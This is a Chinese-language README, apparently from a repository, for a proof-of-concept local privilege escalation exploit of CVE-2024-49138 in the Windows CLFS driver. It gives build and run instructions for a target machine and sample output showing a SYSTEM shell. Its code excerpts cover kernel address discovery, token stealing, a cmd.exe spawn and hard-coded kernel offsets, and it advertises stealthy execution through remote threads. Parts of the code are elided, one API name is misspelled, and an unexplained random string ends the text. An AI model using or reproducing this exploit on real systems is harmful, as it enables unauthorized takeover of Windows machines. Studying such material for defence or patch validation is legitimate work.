CVE-2024-49138-CLFS 本地权限提升 (LPE) 利用
本项目包含针对 Windows 通用日志文件系统 (CLFS) 驱动程序 (clfs.sys) 中 CVE-2024-49138 漏洞的完整概念验证 (PoC) 利用代码。该漏洞已被 CrowdStrike 检测到在野利用,成功利用可导致攻击者在目标系统上将权限提升至 NT AUTHORITY\SYSTEM。
✨ 功能特性
- 内核漏洞利用: 精确触发 CLFS.sys 驱动的漏洞,实现内核态代码执行。
- 权限提升: 通过令牌窃取技术,将当前进程的访问令牌替换为 SYSTEM 令牌。
- 内存读写: 利用漏洞实现任意内核内存读写原语 (
NtReadVirtualMemory/NtWriteVirtualMovement)。 - 隐蔽执行: 提供两种利用方式,可通过直接执行或创建远程线程等方式进行攻击。
- 详细输出: 提供完整的运行时输出,清晰展示漏洞触发、内存操作与权限提升的每一步。
📋 安装指南
系统要求
- 目标操作系统: Windows 11 23h2 (或其他受影响版本)
- 开发环境: Visual Studio (支持 C++ 和 Windows SDK)
- 依赖库:
clfsw32.lib,psapi.lib
编译步骤
- 使用 Visual Studio 打开项目解决方案文件。
- 选择 x64 平台配置。
- 选择 Release 构建模式。
- 在解决方案资源管理器中右键点击项目,选择“生成”或按
Ctrl+Shift+B进行编译。
🚀 使用说明
基础执行
将编译生成的 CVE-2024-49138-POC.exe 放置于目标 Windows 11 23h2 系统中,通过命令提示符或 PowerShell 以普通用户权限执行:
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
预期执行流程与输出
- 准备阶段: 创建
C:\temp工作目录,初始化日志文件和容器。 - 获取内核信息: 动态解析
ntoskrnl.exe基址,并获取NtReadVirtualMemory/NtWriteVirtualMemory函数地址。 - 触发漏洞: 针对 CLFS.sys 驱动程序触发 CVE-2024-49138 漏洞。
- 实现任意读写: 利用漏洞获得的原语,验证对内核基址的读取能力。
- 令牌窃取: 定位当前进程和 SYSTEM 进程的访问令牌 (
Token)。 - 完成提权: 用 SYSTEM 令牌覆盖当前进程令牌,并重新 Shell 以 SYSTEM 权限运行。
典型输出示例
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
Kernel Base Address: 0xFFFFF80339800000
NtReadVirtualMemory = 0x00007FFFAF0EFB40
triggering vuln...
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>whoami
nt authority\system
⚙️ 核心代码
获取内核基址
通过 EnumDeviceDrivers API 枚举已加载的驱动程序,获取 ntoskrnl.exe 的基地址。
LPVOID GetKernelBaseAddress() {
LPVOID drivers[1024];
DWORD cbNeeded;
TCHAR driverName[MAX_PATH];
if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
printf("Failed to enumerate device drivers\n");
return NULL;
}
LPVOID kernelBase = drivers[0];
if (GetDeviceDriverBaseNameA(kernelBase, driverName, sizeof(driverName))) {
printf("Kernel Base Address: 0x%p\n", kernelBase);
printf("Kernel Name: %s\n", driverName);
}
return kernelBase;
}
漏洞利用核心逻辑
主函数中漏洞触发、内核内存读写原语建立及令牌窃取的关键流程。
int main() {
// 1. 初始化 CLFS 日志和容器
CreateDirectoryA("C:\\temp", NULL);
HANDLE hLog = CreateLogFile(...);
AddLogContainer(hLog, ...);
// 2. 获取内核基址和内存读写函数
LPVOID kernelBase = GetKernelBaseAddress();
pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(...);
pNtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(...);
// 3. 触发 CVE-2024-49138 漏洞
// 通过 CLFS 控制块操作实现任意地址写入
TriggerVulnerability();
// 4. 验证任意读取原语
pNtReadVirtualMemory( GetCurrentProcess(), (PVOID)kernelBase, &buf, sizeof(buf), &bytesRead);
// 5. 提取并交换访问令牌
uintptr_t currentToken = ReadKernelProcessToken(GetCurrentProcessId());
uintptr_t systemToken = ReadKernelProcessToken(4); // PID 4 为 System 进程
WriteKernelProcessToken(GetCurrentProcessId(), systemToken);
// 6. 派生 SYSTEM Shell
system("cmd.exe");
return 0;
}
令牌偏移定义
基于 _EPROCESS 和 _TOKEN 结构的内核偏移量定义。
// _EPROCESS 结构偏移
#define ACTIVEPROCESSLINKS_OFFSET 0x448
#define UNIQUEPROCESSID_OFFSET 0x440
#define TOKEN_OFFSET 0x4b8
// _TOKEN 结构偏移
#define TOKENPRIVILEGESPRESENT_OFFSET 0x40
#define TOKENPRIVILEGSENABLED_OFFSET 0x48
// ntoskrnl.exe 函数偏移 (基于测试版 Windows 11 23h2)
#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0
#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0
#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60
6HFtX5dABrKlqXeO5PUv/4TIflrsiM9LL7tda4rPlo5ZUNp9u8s7inEQER6ttoiF